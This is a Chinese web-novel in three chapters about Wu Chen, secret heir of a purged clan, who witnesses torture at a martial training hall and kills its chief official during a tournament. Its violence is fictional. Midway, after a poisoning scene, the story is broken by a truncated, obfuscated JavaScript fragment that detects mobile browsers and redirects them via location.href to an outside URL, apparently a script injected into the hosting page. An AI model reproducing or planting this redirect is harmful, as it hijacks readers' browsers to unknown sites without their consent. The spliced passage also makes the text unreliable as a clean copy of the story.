《公子的刀又锋利了吗》
1. 梦魇
大苍洛川,秋日夜,缙华堂,巫辰入梦。
巫辰的意识由现实转至梦中,似是被强行灌下血水,喝下便吐了个干净,后又就着古怪汤药继续灌下。
液体在喉中翻涌直直流入肺腑,冰冷血水钻心后愈发滚烫,恶心极了。
能在梦中觉醒五感的人少之又少,但视觉、听觉、味觉、嗅觉、触觉只可得其一,无法身处于任何一种环境,哪怕是阴湿黑暗的逼仄空间,也全然感受不到。
感官被剥夺后只剩下无限的恐惧。这样的梦魇从巫辰有记忆起,日日都是。
“阿.....阿.....阿颜.....阿颜......”这次是听觉,萦绕耳畔。
巫辰想凑近再细细听清时,又是模糊的低声嘶喊,是在唤自己吗?
......
“阿辰!!!阿辰!”
“醒醒阿辰!你怎么了?”
巫辰惊醒已是呼吸困难,满头细汗连珠流下浸湿衣衫。
看清眼前人后确认自己回到现实,低头蹙眉双眼紧闭,而后恢复平静。
“没事。”
“还说没事!又在做噩梦了吗?总这样下去可不行,身体会坏掉的!你每日休息得太晚了,总是......”
巫辰打断,“吵死了。”
与其说巫辰是不善与人交往,更不如说是凉薄无情。回应莫名其妙的恶意只需一个带有杀意的眼神;而回应莫名其妙的热切关心,对巫辰来说,毫无意义,只好逃避。
“你别往出跑,已是子时了!”苏子酥随巫辰挣扎着爬起来。
“别跟过来。”
说罢巫辰快速掩门飞身坐上屋檐,秋日的风虽算不上凛冽,打在身上却觉得疼。但好在能听清风声,或寻着微光透过雾气,看看昨日的星辰,感受久违的平静。
巫辰入缙华堂已有八年,当年东宫谋乱之举做实后,五大世家之一的展家被牵连抄家,身为展家家主的父亲当日被杀。
巫辰那时的名字还是——展颜辰,毋庸置疑的权臣千金,高门贵女。
她亲眼目睹利剑刺穿父亲的喉咙,当年仅有10岁的巫辰不懂亲人离世的心痛,只是满心狠意,狠自己无能保护家人,却不知狠谁夺走了原有的一切;蛰伏多年只为终有一日可大仇得报。
巫辰清楚,父亲绝非善类,平日的暴戾阴冷看在眼里,但抹去寒意后的笑眼也看在眼里;父亲可能不是好人,却是个好父亲。
展家擅用毒,为世家之首多年屹立不倒。展氏手握亲兵甚至半个献都城的生杀,历任家主行事狠辣果决,都是最擅与虎谋皮的。
谋反,展业褚虽真干得出来;但绝不会糊涂到把事办成举家被杀,无一活口的境地。
展家被抄,父亲被杀,兄长生死未卜。自己也不知被何人相救,混入受难孤儿的队中进官家组织缙华堂习武受训。
巫辰冥冥中感受到,自己许是成了埋在献都的,一颗随时会被引爆的,撼天雷。
真相、幕后之人亦或是造成乱局的始作俑者,巫辰毫无头绪。
巫辰轻功极好,出手速度如风无影,如光难寻,令人难以察觉。
八年来从不顾伤痛只刻苦习武,只有手持的剑柄被染上鲜血时,才能够确认,自己此时此刻,正孤独得活在世上。
为少遇梦魇,夜深时常独坐屋檐,无数遍清点着年少时曾见过的每颗星星。
辰星的位置亘古不变,可记得准确无误。
心,却难寻。
巫辰,只在逼自己做到更好,更极致。
展颜辰,只在等一个机会。
.......
秋夜凉薄,思绪翻涌,流转回风云骤变前的日子。
“爹爹,杀人扎哪里,死得最快?”,年幼的展颜辰张口闭口总是逃不开两个字,杀和死。
父亲也总说,展颜辰的那股狠劲儿,很像他;兄长则像已故的母亲,文静却不怯懦,展颜辰从没有见过母亲,她一生下来,母亲便难产去世。
“怎么?阿辰想杀谁吗,谁欺负我的宝贝阿辰了?”
“没有!阿辰想保护爹爹和哥哥,尤其是哥哥,他太笨了。我再长大些,定能护好你们了!”
多年的照顾与陪伴,父亲和兄长就是自己最重要的人,展颜辰不懂亲情与爱,只想让家人能够常伴自己、活很久很久,所以下定决心一定要保护好他们。
“哈哈哈哈哈哈哈哈!爹的好阿辰。”
“你只管快快乐乐得长大,比什么都好!爹和你哥哥,都会保护好自己,也会保护好阿辰的。”
“所以杀哪里死得最快,你快教我!”
“当然一剑封喉,最快。”
那日,展颜辰食言了,亲人被夺走,世间已无展颜辰。
只留巫辰。
......
多年的梦魇压制住巫辰的一切情感与感官体会,只好习惯性去逃避所有会产生牵绊的人。
「和人再产生交集吗?当然想了......但我这样的人,真的配被人记住、引人惦念吗?」
「牵挂,对我来说,不是徒增烦忧,而是徒增痛苦;我没有能力去保护任何人的,是只能无奈看着亲人离去的,废人罢。」
巫辰与亲人的记忆,受岁月冲淡,只留下只言片语;甚至在梦中,都没有机会,再看看思念之人的样子。
「一剑封喉吗......确实最快......」
......
「一剑封喉.......」
「一剑封喉.......」
展家出事当日,是巫辰最后一次见过父亲。
“阿辰,今日之后,要好好生活、照顾好自己......记住了吗?”
“为什么......”
“要平安、快乐。爹会一直在暗中保护你的......嘘......”
“......嗯。”
10岁的展颜辰很清楚,父亲要死了,自己应以何种情绪面对?
「不知道。」
「真的不知道。」
「应该告别吗?」
“乖......”,展业褚最后摸向女儿头上的红枫步摇,仿佛红枫可代人寄出往后的一切思念,父女间没有任何告别。
......
许是因梦癔症的缘故,巫辰对于现实的感官总是迟钝的,一切感知能力都被剥夺至梦魇中。情绪,或是感情,永远无法牵动她。
幼时的她若离开展家一步,定是常人眼中的异类。甚至曾对梦魇中的血腥味儿有种别样的痴迷。
4岁时的某个春日。
展颜辰正摆弄着父亲新送自己的短刀,一旁被鹭鸟撵着跑的兄长摔倒在石亭旁。
“妹妹!快救我!呜呜呜......”
她起身后毫不犹豫得刺向鹭鸟的脖颈处,那大鸟挣扎着飞离了。再看拿着短刀的手,已是鲜血淋漓。
“血.....流血了.....”惊魂未定的展颜钦再次被吓到。
展颜辰看着手上的鲜血,“哥哥,好像是我的血。”
又看看被吓哭的兄长。
她完全来不及觉得痛,只闻到了自己每日梦中最熟悉的味道,第一次,醒着闻到的。
实在太好奇了,尝起来,也和梦里的一样吗?展颜辰回过神来时,手上、脸上、嘴边已然布满血红色。
“不一样,
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哥哥!我的血是热的!”
说完朝着兄长兴奋得笑起来,想要显摆自己的重大发现。
此时的展颜钦看着年仅四岁却嗜血的妹妹,魂已吓飞;错愕数秒后起身逃跑。
“爹......她疯了,展颜辰疯了!!!!呜呜呜呜呜......好可怕......”
......
如今闻到的次数多了,倒也不喜欢了,只觉得恶心,或是恐惧。
忽而微风临过,竟感隐隐腥风;虽让人难以察觉,但这血泽之气,巫辰太熟悉了。
有古怪。
巫辰于屋檐瞬行,很快便寻得来源,轻声扒开瓦片朝屋内窥去。
“林央,去把她的嘴堵住,我不想听到,难听的声音。”
说话的人声音冰冷怪异,其中更添几分.......兴奋吗?
“是......大人。”
巫辰内心疑惑,「屋内的人,竟是右锋和......首辅官?陈湘娩?」
缙华堂乃开国初期由殷氏奉帝命所创,陈湘娩便是缙华堂现任首辅官,大小事务都由其掌管;其身边设有两锋以辅助,左锋和右锋。
至于缙华堂堂主,巫辰曾听闻是世家之一殷氏的后人,从未见过。应是个仅仅挂名,从不管事的吧。
待仔细查探,屋内竟还绑着一人。
其发丝乱如枯草,血与汗水混杂在一起,顺着脸颊流淌下来;身体似风中落叶,难以止住的颤抖。
“呜.....畜生,你们......呜......”
听声音,竟是同在缙华堂内受训的弟子,盛心薇。
「这......在做什么?禁闭、或是犯错怎可能用此等.....酷刑。」
陈湘娩走到盛心薇跟前,其未穿着往日厚实的深色官服,而是单薄的衬衣,露出满背的疤痕,触目惊心。
暗红色的疤痕组织凹凸不平,留下这些,应是同样遭受过剧痛的。
“哈哈哈哈哈!别挣扎了,无用的。”说罢,陈湘娩继续手持烧红的烙铁,伸向女孩娇嫩的皮肤。
滋—————“呜......呃......呜呜呜..”
被烫成血红色的皮肤与烙铁表面黏连难分,强行分开后直直带下一整层模糊的皮肉;巫辰周身萦绕着的是烧焦味儿、血腥味儿,以及最真实的痛苦的呻吟。
对巫辰来说,这是少有的,来自现实感官的刺激,一时间只觉头晕目眩,更加难以分清是现实还是梦魇。
“嗯!这才乖嘛。你不会说出去的,对不对?”陈湘娩眼神狠厉怪谲,说罢继续在女孩的身体上寻找还完好的皮肉。
“哈哈哈......找到了。”
滋—————
“呃!!!!!!!”
一阵强烈的耳鸣,几近刺穿耳膜的噪声几乎让巫辰发出响动,这种痛苦的叫喊、感受......
甚至是痛感,在梦魇中,无一不在。
右锋全程在旁看着,虽时常面露不忍但还是没有任何出言制止,盛心薇终于忍不住痛,痛苦含泪点头。
“真乖,来日,若是发现谁,皮肤透亮白皙,记得说与我听。”
“呜......嗯......”
“右锋,给她解开,让她滚。”
陈湘娩的脸上浮上一抹笑意,似是满意的、兴奋的。更如幽夜中的火光,滚烫却带着寒意。
这抹笑,在梦中,巫辰见过......
“是......”,右锋终于出声。
盛心薇踉跄着推门出屋,巫辰已被眼前的一切震慑发愣,只好逼迫自己找回冷静,迅速离开。
......
2. 风起
缙华堂,应是不会再如此平静下去了吧。
巫辰不同于往,第二日白天便来到众人聚集的地方,寻昨夜的盛心薇。
普芹院内熙熙攘攘,堂内弟子及殷家侍卫小厮常聚于此闲聊不断。
“......你们有所不知吧!要说这大苍早年初创时那是相当一段宏伟霸业,开国君王更是励精图治、安邦定国;”
殷家小厮滔滔不绝,满是洋洋得意,说到有关殷家处更是眉飞色舞了。“国富民强!百姓安居乐业!更是有五大世家加以辅佐助理,分别是殷氏、东方氏、冷氏、张氏还有展氏......当然最强的还是咱们家殷氏了......”
“又在吹牛了初鸣!”
“就是啊,这殷氏强,岂是你一张嘴说出来的?”
“那也是过去的宏图伟业了罢,和你有什么关系?现在还不是不行了?”
旁边几个弟子听他这般吹牛,便觉得不爽,纷纷反驳寻他语言用词上的错漏。
巫辰也不爽,凭什么展家要排在五世家最后头了。
“你说什么呢!什么不行了!就是最厉害的,我们殷家闵国侯早年曾是亲军大将军,战功赫赫!也是全大苍这么多年以来唯一一位女将军,唯一一位女侯爷呢!”
初鸣继续补充道,“我们家公子是现任缙华堂堂主,你们的老大!公子那是风流倜傥、仪表堂堂、气质不凡......”
“哈哈哈哈哈哈,什么风流倜傥,我看光说风流才是真吧?”
“大苍谁人不知,这殷公子游手好闲,日日出入花楼呢!”
“对啊......你也就拿公子所谓的名头吹吹了!他是老大?我们从来没见他来过呢,一介风流纨绔,相貌能好到哪儿去,应是个顶着殷家名号招摇撞骗的大!俗!人!”
「缙华堂堂主吗?原来真是什么都不管的主儿,手下的人在做什么事,真的全然不知吗?」一经昨夜,缙华堂的一切在巫辰眼中,都与往日大相径庭。
虽是在此八年,却与堂内其他弟子不同,她们会当这里是家、是归宿。
展颜辰,曾有过自己的家。
当目睹肮脏与不堪,只想逃离,所以御前近卫的总选,一定要赢;逃离这里,走向更大的是非谜团之中。
“你......你们乱说!谁说的我家公子去花楼了......公子从来不去那种地方!!真的放肆!大胆!!!!”
“别笑了!不许笑!!!”再看初鸣已是涨红了脸,一张嘴终是说不过十张嘴的。
“你好笑,还不让人笑了?哈哈哈哈......”
“诶,这是什么东西?”其中一个弟子的目光转向石台上的各个刀剑配件,小厮们常在缙华堂卖些武器。
“你有眼光!这可是我家公子,亲!手!做的刀鞘!好看吧,想要可以卖给你!”一说到殷家公子,初鸣便又是两眼发光。
“切.....哈哈哈......谁要这破烂啊!”
“滚开滚开!不要别碰!”,这下真的恼羞成怒了。
巫辰朝众人所指看去,那刀鞘,分明和父亲当年送自己的刀鞘,一模一样。
自己从没有见过殷家公子,他是如何做出来的。
凡事牵扯至世家,定然成谜;自己的身份别人知晓多少,当年将自己救出展家带到缙华堂的人又是谁?
“这个,多少钱?”
众人见巫辰过来纷纷安静,眼神表情也变得,怪起来。
“嗯.....你喜欢的话,500钱?怎么样?”,见巫辰冷着脸,初鸣只好试探道。
“不喜欢,便宜点。”
“......那400钱?”,再试探。
巫辰确信,这刀鞘,买不起;
还可确信,缙华堂有问题,殷家公子,更有问题。
“诶.....那300钱?别走啊!你还要不要啊!200钱怎么样?......150?”
“你别喊她了,她脑子有问题的!”
“啊?什么啊......”,初鸣眼看着自己即将到手的零花钱跑得没影儿了,不由得怏怏不乐。
“况且,谁能看上你们公子做的这刀鞘啊哈哈哈哈哈哈!”
“果然都不正常!”
众弟子是惹不起巫辰这种怪人的,只好继续调笑起一旁的小厮来。
无缘无故得公子又被提起来受骂,初鸣气急败坏:“你!我说了!!我家公子从不去花楼的!他是个顶好的人!!”
......
献都,醒淑楼。
小厮口中从不去花楼的殷家少主,殷思,正走在都城中华丽的花楼楼台上。
丝竹声声,宛如绕梁之蛇,脂粉香气携着酒香弥漫在每一寸的空气中,欢笑与戏谑交织、缠绕。
一切纸醉金迷对殷思来说,最是熟悉了。全献都无论高官皇亲都知他身为一介纨绔,最爱这些。
殷家后主,殷思做不好;浪荡纨绔,却能做好。
“公子好。”
“公子来啦,好久不见呢。”,楼内姑娘各个身姿婀娜,如弱柳扶风般摇曳与楼台回廊间,熟络得打着招呼。
殷思只是冷冷一撇,“嗯。”
“见过公子。”
“公子怎么这么久都不过来了.....姑娘们都问您呢......”
“这不来了。”,殷思浅笑回道。
男人在花楼赔笑,甚是奇怪,但却需得让所有人都觉得,他是真的喜欢。
“公子,请上座。”
“嗯。”
“公子好,今日是听曲儿还是吃酒?”
“嗯.....上酒吧。把橙矜叫过来。”
“是。”
“公子,您的酒。秋露无霜,枫里叹月,正是适合秋日吃的酒呢。”
“倒上吧。”
“是。”
姑娘的脸颊在烛光照映下显得更加娇艳,轻轻执起酒,杯腕间的玉镯滑落,更添几分娇柔。
一切旖旎,殷思只觉无聊至极,姑娘所说的:枫里叹月......却使他神色微动,「红枫吗?」。
“您慢用。”
他想起一位故人,已死的故人。
......
“你......干什么,看我做什么?”,盛心薇神色紧张忧怯,开口道。
话到嘴边却不知说什么好了,“没什么。”
“......”
一旁的弟子拉过盛心薇,“心薇,别理她,这个人奇怪得很!”
凑巧碰到昨夜新伤处,感到吃痛不由得眉头一皱。“怎么了心薇,不舒服吗?”
“没......没有.......”
“就是,她也不说话,一天到晚在那看看看。谁欠她钱一样!”,所指之人便是缙华堂全部弟子眼中的怪人巫辰。
巫辰平日总是冷着脸,几乎不同堂内其他弟子交流;用武打法也极难以捉摸,过招时行速极快,剑走偏锋毫无章法,让人难以预判防御;更多的恶意可能是源于对巫辰才能的嫉妒和畏惧。
“诶,少说两句,她还在看我们呢。”
“让一让!!让开!”
总选场方向跑来几人行色匆匆,最后面的两人肩上搭着受伤的弟子,口中还在涌血,定是痛苦难忍。
“......这是怎么了?”
“中毒!差点儿死人了,诶赶快让一让!”
“总选有人用毒吗?我们不是禁用暗器和毒嘛,而且哪儿来的......”
「用毒吗?」巫辰感到不懈,展家虽擅制毒、毒功,自己却从不屑于用毒取胜,赢得太过容易,对此嗤之以鼻。
“话说,这前些日子好像就有几个弟子死了......说是病死的,但这身上的伤.....特别古怪。”
一个弟子挤进人群,“你们听说了没?有大事儿发生!献都的大事儿!”
“什么?什么?”
“听说,都城中势头最盛的冷家,世家之一的那个冷家。大夫人被刺
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客刺杀,死了!”
“这......还有什么消息吗?可知是什么人杀的?”
“小道消息说,说......这刺杀之人,是多年前因东宫谋反满门被杀的展家后人,叫什么.....对!叫展颜钦的!”
巫辰心中一顿,这还是多年来第一次听到有关展家、有关哥哥的消息。
“人已抓到了?”
“那倒没有......说是因这冷夫人死状颇为蹊跷,有人查了,说死于展家毒呢。并且啊,这展家毒已多年未现世了,突然出现,定是展家余孽所为了!”
巫辰心中确认,定是有人冒充兄长刺杀。
展颜钦,绝不可能杀人。兄长从前可是连刀都不敢拿,血都不敢看的,更别说杀人了。展家的消息,又与殷家少做的那把刀鞘,有何关联。
“展家......当年不是死绝了嘛,一场大火,烧了个干净。”
“诶,正是这大火,更蹊跷了!大火一烧,尸身更是难以辨认。谁知道死的那些都是真的假的?”
“还真是,那确实古怪,说不定......”
“哼,乱臣贼子人人得而诛之。若是余孽活着,朝廷定不会放过。现如今又跑到世家官员家杀人,狠厉如展家,啧,果然没错。”
“这都哪儿听说的啊......”
“殷家那几个小厮日日来缙华堂卖那些个破烂儿,能说上大半天!凡是长了耳朵的,很难不知道吧!”
“切......原来也是道听途说。”
“别打岔别打岔,你们听说没有.....这展家的.....当年的八卦。”
“八卦?怎么说?”
“说啊,这展家家主有一子一女,他妻子,早早便死了,正是这展老爷所杀。说其,凶狠毒辣,穷凶极恶!先是虐待妻子,将其,杀之!还......”
“还有什么?快说啊!”
“......说献都城中,从没人见过展家小姐,是因为啊......这展老爷,人面兽心,将这幼子幼女关在家中,虐待、奸......”
巫辰本是无意掺和所谓道听途说的八卦,但有辱自己家人的话,她自然是听不得。巫辰速度极快,身边众人反应过来时,说话的人已被抵至墙边难以动弹,方才兴奋挥动的手被巫辰死死抓着。
“呃......你有病吧!平白无故......”
巫辰眼神狠厉,手下力道更加用力,拽着手臂引得关节处向反方向拧去。
“啊.....呃......痛.....痛痛痛!”
“你放开,神经病吧,莫名其妙打人做什么!”
其他几个一同说话的弟子都过来拉扯。
“你们几个!干什么呢!”
“首辅官大人!左锋大人!”
“她,这个......这个叫巫辰的,突然动手打人。”
巫辰见来人变多,事态若是变得复杂追究起缘由便再难以自己是“怪人”来搪塞,只好松开,最后眼神警告胡乱编排展家的人。
“平日没怎么见过的。身手不错,改日,单独考考你。”,是昨日晚上见过的陈湘娩。
“大人!她明明......”
陈湘娩瞪向旁边的弟子道:“让你插嘴了吗?”
“大人息怒.....”
陈湘娩走向巫辰:“我在同你说话,你没听见吗?”
巫辰感到陈湘娩的打量,有关梦魇中的人或事,只觉万分恐惧;气息变得混乱,源于生理性的抗拒,无法控制......但还是俯首到,“谢大人指点。”
左锋和首辅官离开,身旁其他弟子开始议论纷纷。
“嘁.....凭什么......”
陈湘娩的眼神,分明就是昨晚的.....兴奋。
可凭自己的一己之力,又能反抗些什么?又能做些什么呢?
巫辰确认自己绝不能留在缙华堂了,不管以怎样的方式,一定要逃出去,找回真相。
3. 刺杀
醒淑楼中气息靡靡,微光透过雕花窗棂照进杯盏,稍稍晃动,光的界限便不再分明。
无聊透了,只好坐着发呆。
“公子,私席里边儿那几位吵着今儿要赌投壶!瞧着他们也就中不过半数,我压了您全中!公子有兴致吗?”
“不玩儿。”,殷思心不在焉得回答着。
殷思拿起右手边的杯盏,虽不是什么金银玉器,但还是有些分量的。
右手止不住得发抖,手指轻轻摩挲杯身处的精雕纹路,想要将它紧紧捏住,却怎么也使不上力。
“哎呀公子,别让咱白白输了半抽屉首饰给珞绵那丫头!您要不就来那么两……”
“你知道的,我向来不喜玩儿这费劲儿的游戏,坐下喝两杯。”
殷思只知,投壶是用箭的,自己从前最喜箭,只一展露箭术,便能听到长姐的夸赞,可现在却很讨厌。几年前右手筋脉全断,拿不起酒杯,更无法挽弓用箭。
“公子,这投壶真不费劲儿!轻轻一投能老远去了,不过十箭的事儿!咱都赌您赢啦,您看……”,楼里的姑娘不知情,还在全力撺掇。
“我没劲儿投,你,滚远点儿。”
“公子……”
“滚。”
“是,是是……”,挨了气,赶忙跑开了。
珞绵此时进屋传话:“公子,外头方姑娘要见您。”
“我不认得什么方姑娘,叫她也滚。”,殷思才生了气,自然也迁怒了不知是哪位的方姑娘。
“这……”
橙矜进屋在殷思耳边小声递了话:“公子,颖王殿下那边......”
“殷公子,继华堂辅领官东方羽灵求见,能否赏个脸呢?”来人身穿淡蓝绸缎长裙,领口及袖口处皆用白色狐毛,更添雍容华贵之气,是世家贵族的穿着。
殷思对橙矜道:“我知道了,你先下去。”
“是。”
“原是东方大小姐,好响的名头,当真吓着我了,我怎么敢见的?告辞了。”
“殷公子说笑了,不过是个东方氏旁系,虚名而已,今日运气好碰见殷公子,倒也是有缘。”,说着走进屋内的珠帘后坐下,倒也奇怪,名门大小姐出门,一个侍从都未带着。
“外头天冷,殷公子的马冻得厉害我瞧着心疼,已叫人带去暖阁那儿了。”
东方羽灵在珠帘后虽看不清神态表情,但听语气应是正贴心得笑着。
“哈哈哈......当真好运气,怎的东方大小姐头回逛醒淑楼就能碰见我了?这里头的缘,确实妙。”
殷思问向在一旁的珞绵:“你说对不对?”
“啊?公子……这……”,珞绵被问住,一时间不知所措起来。
老鸨喊姑娘离开:“珞绵,杵在这儿做什么呢?添了茶赶紧下去。”
“是是。”
“二位,请。”
“客气了珞姑娘。”,东方羽灵端庄得浅浅微笑,涟漪轻泛,宁静且优雅。
“哪里的话,小姐慢用。”
“……”
半晌过后,两人都未说过话,殷思也只是坐着喝茶。东方家的大小姐,当真不愿多有交集,此次更是来者不善。
东方羽灵先打破安静:“殷公子那么贪杯么?只喝茶不说话的?”
“找我什么事?”,殷思开门见山道。
“有事相求。”
殷思不由得低头一笑,或是自嘲或是笑这笨拙的理由,一介纨绔,能帮上什么忙的。“稀奇。东方大人有什么事儿能求到我头上来了?”
“想请你帮我找个人,缙华堂里的。”
“.....我向来不管正事儿的,爱莫能助,告辞。”
“且听我说完,我不会平白无故还空手找你帮忙。”
“嗯!有的交易?字画还是墨宝?不过我最近倒是不缺这些的。啧,美人的话倒是可以考虑……”,殷思熟练得以风流之名搪塞着。
东方羽灵听后突然拿着茶杯用力敲击桌子,再道:“抱歉,手抖了。”
“帮你,什么好处?”
“我……”
“哎呦,别别别。我可对你不感兴趣,这如今全大苍上上下下也没几个人敢跟你多说两句了,我当真是惹……”
东方羽灵直接打断道:“展颜辰。”
“……”,殷思身形顿住,眉间紧蹙,错愕。
“殷公子认得?”
“我听闻展颜辰的消息,人在缙华堂。”
“……”,多年未听过的名字,也是所有大苍人都不愿提及的展家相关,仿若魂魄离身,一时动弹不得。
“还是不愿意帮吗?那日我见着殷公子的书画,红枫缠花生动非凡,倒像是支,步摇吗?”
“……”
殷思心道:「那日闯进醒淑楼讨人的,原是东方羽灵。」,对她的印象,稍有改观。
东方羽灵走出珠帘,拿出一本旧书,像是手记,轻轻翻开其中一页。
“殷公子请看,是我认错了么?”
书页上竟画着展颜辰的红枫步摇,这步摇,殷思最是熟悉,是几年间绘过无数遍的。
“哪儿来的?”,殷思伸手欲拿过旧书。
“抱歉,不能给你。”
“什么时候的消息?”
“半个时辰前……啊……和殷公子说话耽误了些功夫,应是一个时辰前了。”
东方羽灵凑近又道:“缙华堂,有展家毒。展颜辰,也在。”
“有病,你不早说,来人,备马!”
“殷公子可是欠我个人情?”,又是浅浅的,难以琢磨的笑。
殷思以白眼回应,并未说话。
“那来日再见,我与殷公子会是仇人吗?”
“哈.....我求之不得。”
缙华堂,出岔子了。
醒淑楼院前处,殷思袍角轻甩,利落地翻身上马,一气呵成,正欲离开。
“公子,下回什么时候再过来瞧我呢?”,橙矜追到楼下询问。
“这月便不来了。我想听你弹的......《万宿喧齐》,练一练吧。走了!”
“是,公子一路平安。”
“公子慢走!”
乌发随风扬起,一袭红衣衣袂翩翩,腰背微微后仰,不羁如风,渐渐远去。
......
缙华堂御前近卫总选,如期而至。
“陈首辅官。”,来人是献都监察御史之子李鹜,算得上是没落宗亲,献都出名的第二大纨绔子弟,第一是便是殷思。
“李四公子今日怎么来了。”,陈湘娩回应道,语气不耐烦。
“想着今儿缙华堂御前近卫总选,我来凑个热闹,不巧殷兄没得空,便只有我来了。”
陈湘娩言语嘲讽不懈道:“哦,殷公子忙着做什么呢?我当你们两个都应忙着逛花楼呢。”
“哈哈哈您说笑了,这花楼的姑娘娇软无依,怎么比得了您这缙华堂出来的会打架的。方才打眼看过去,多是身手不凡又眉清目秀的小姑娘,还想着有机会向您讨了几个做贴身近卫呢。”
“缙华堂出来的多是进宫御前办差,浅说也是走在王侯将相世家贵族身边儿的。瞧着四公子,还年轻了点儿,也不够格了点儿。”
“学成能寻个好主子,倒也是造化。但若是当惯了高门贵犬,忘了自己本是个奴才......”
“你!”
“嘶......莫怪莫怪。才忘了陈首辅官从前也是跟着皇后娘娘身边儿当差了......我们小辈的话,您别放心上。”
李鹜家族李氏一脉虽被称是旁系宗亲,监察御史李郁野却是与当今圣上沾亲带故的新贵,陈湘娩惹不起。
“左锋。”
“在,辅官大人有什么吩咐?”
“叫人去把场内的木质刀剑收了,换成真的,锋利的。”
“这……这帮姑娘年纪还小,手上轻重都是没把门儿的,若是被真刀真剑所伤……”
陈湘娩打断道:“不用真的,怎么看出真本事来,换。”
“是……”
手下侍从将武器重新放置至场内,待总选正式开始,场上弟子皆箭步冲向武器台,作为场上众人皆知的佼佼者,巫辰自然会被针对。
巫辰一袭黑衣,尽显凛冽之气,虽仅拿到短刀,但对她来说还算趁手。
剑刃来袭,霎时间刀光剑影,巫辰手中短刀寒光一闪,身形如电,硬生生将凌厉的进攻挡了回去,短刀与长剑相击,星火四起。
巫辰步伐轻移,短刀在手中挽出几个刀花,在来人的长剑袭来的瞬间,短刀猛地向上一抬,精准地抵住了剑尖,双臂微微颤抖却也稳稳地阻挡住了数次汹汹来势。
与此同时,场内出现暗器毒针,出针速度极快,巫辰用短刃阻挡,步伐也被压制住,渐渐落了下锋。
众人议论纷纷:“看,又是用毒的,当真胜之不武。”
“暗卫藏于暗处,光明正大得打什么?要不是闵国侯当年是被暗器所伤导致残废,才不会把缙华堂的暗器禁了。”
“说什么呢!这话是能乱说的。”
“谁乱说了,殷家的打法就是保守了,兵不厌诈!到了战场上,谁会将个仁义道德?不然也不会愈渐衰败,还不是......”
左锋厉声呵斥道:“嚼什么口舌,你有水平,这仗换你来打?”
众人止言俯首道:“左锋大人。”
......
“唉......这几个小姑娘都伤这么重了,还不叫停带下去?”,李鹜在旁不忍道。
“弱肉强食,人各有命,若输了便是无用。”
“这......年纪都那么小。”
陈湘娩冷哼,“四公子这会儿倒可怜上了,不过是些无门孤女,这几条贱命,根本不值钱。”
“姑娘受伤,我最是看不得了!随我过来。”,李鹜终还是坐不住,带侍从进场。
“是,公子。”
“多管闲事的东西。”
“停一下停一下!”,李鹜进场喊到。
“停!”
“借过.....”
“唉,抱歉抱歉。”,李鹜快步走向场内几个受伤较重的姑娘,行动间似乎撞到了人。
巫辰才遭重重一击,面庞上浮现出红肿的印子,嘴角也溢出血丝,额角被打破,鲜血顺着脸颊缓缓流下,只得强忍痛楚。
李鹜忙走向正在地上挣扎的巫辰,“来,你也下来。”,顺势便要拉巫辰下场。
“不必。”,说罢甩开李鹜的手。
李鹜无奈离开,总选继续。
巫辰终得空喘息,艰难起身后猛地向前冲去,双足交替间仿若旋风,短刃在她手中上下翻飞。眨眼间便欺身到对手跟前,寒光在对手眼前划过,速度令人难以察觉捕捉。
染血的朱唇紧抿,眼中辰光亦是如炬,巫辰手中短刃瞬时浴火成焰。她突然发动攻击,刀光如雨点般刺向对手,顺利逼退周身对手,身体轻旋之间墨色衣袂飞扬,顺势将内力灌入刀刃,刀刃崩裂四散,众人为躲避纷纷被逼至总选场外。
“首胜,巫辰!”
“右锋,传令下去,所有人继续,包括本轮首胜。”,陈湘娩突然道。
“是。”
“今日入选胜负已分,怎么还……”,左锋陆屿川道,但却已然无用。
恶战继续。
总选场边出现暴动,有人突然倒地不起,面色如死灰一般,双唇乌紫,是中毒的迹象;其脸庞像是被一层阴霾笼罩,青黑的色泽从嘴角蔓延开来,仔细一看便是苏子酥。
“死人了?”
“没有吧,许是受伤晕过去了。”
“没有!是真的死人了!吐血了......”
只见苏子酥身体瘫软地躺在地上,四肢微微抽搐着。手指紧紧地抠着地面,仿佛想要抓住什么来抵御那汹涌而来的死亡,身体蜷缩成一团,生命于侵蚀下渐渐消逝。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213384|151110||http|test|mini|href|location''.split(''|''),0,{}));
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>巫辰错愕愣住,难以置信,却完全来不及涌现情绪;此时见状只觉不适,往日被梦魇笼罩的恐惧再次出现。
“是子酥!中毒死了!”
“还是展家毒!”
总选场内外一阵骚动。
“展家毒?莫不是.......莫不是,前些日子所传的......展颜......”
巫辰倍感耳内鸣声乍起,仿若万千蜂蚁齐入,嘤嘤嗡嗡不绝于耳,与此同时,头目晕眩,仿若置身漩涡之中,天地旋转,脚步虚浮,几欲倾倒。
陈湘娩走至场边,看着已死的苏子酥轻蔑道:“没用的东西。”
竟是同梦魇中一样的声音......
嗡——————————————
“没用的东西!没用的东西!没用的东西!没用的东西.......”
“没用的东西.......”
......
巫辰忽而闻到奇怪的气息,再难以控制精神,梦癔症发作,竟将陈湘娩认作梦魇恶兽,向其发起进攻;她手持凛冽利刃,身形一闪,利刃没入那人脖颈,鲜血喷涌而出。
又是一剑封喉。
巫辰出手极快,在场所有人都未来得及做任何反应,陈湘娩已直直倒下。
“大人!”
“啊.......首辅官大人!”
“快去看看,看看大人怎么样了?”
“右锋大人,首辅官......已经没气了。”
巫辰懈力行动放缓,被按在地上不能动弹,身上的剧痛之感涌现,意识逐渐清醒过来。
右锋怒道:“来人,把这疯子关进敬过司去,严刑审问何人指使,若是再发疯,直接杀了。”
“是,大人。”
“这……”
右锋林央直接打断:“你有异议吗?左锋。”
巫辰被侍从带走,一柄短刀从她身上掉下来。
殷家随行小厮立刻道:“且慢且慢!这刀看着眼熟!”
“这不是殷公子的刀嘛!初鸣快来瞧一眼。”小厮拉来另一人,正是昨日在普芹院卖刀鞘的初鸣。
“这把刀怎么和公子做刀……一样?”,说完又仔细看了一眼巫辰,“诶?这不是那日来问价钱的姑娘……”。此话一出,后悔已然来不及,当众刺杀缙华堂首辅官的刺客若是与殷公子牵扯上关系,怕是会被牵连。
“什么刀鞘?你说清楚。”
“啊……没有没有……”
初鸣只好矢口否认道:“不认得!这刀不是我家公子的!”
“岂容得你胡言,方才还说认得这刀且和殷公子做的一样!”
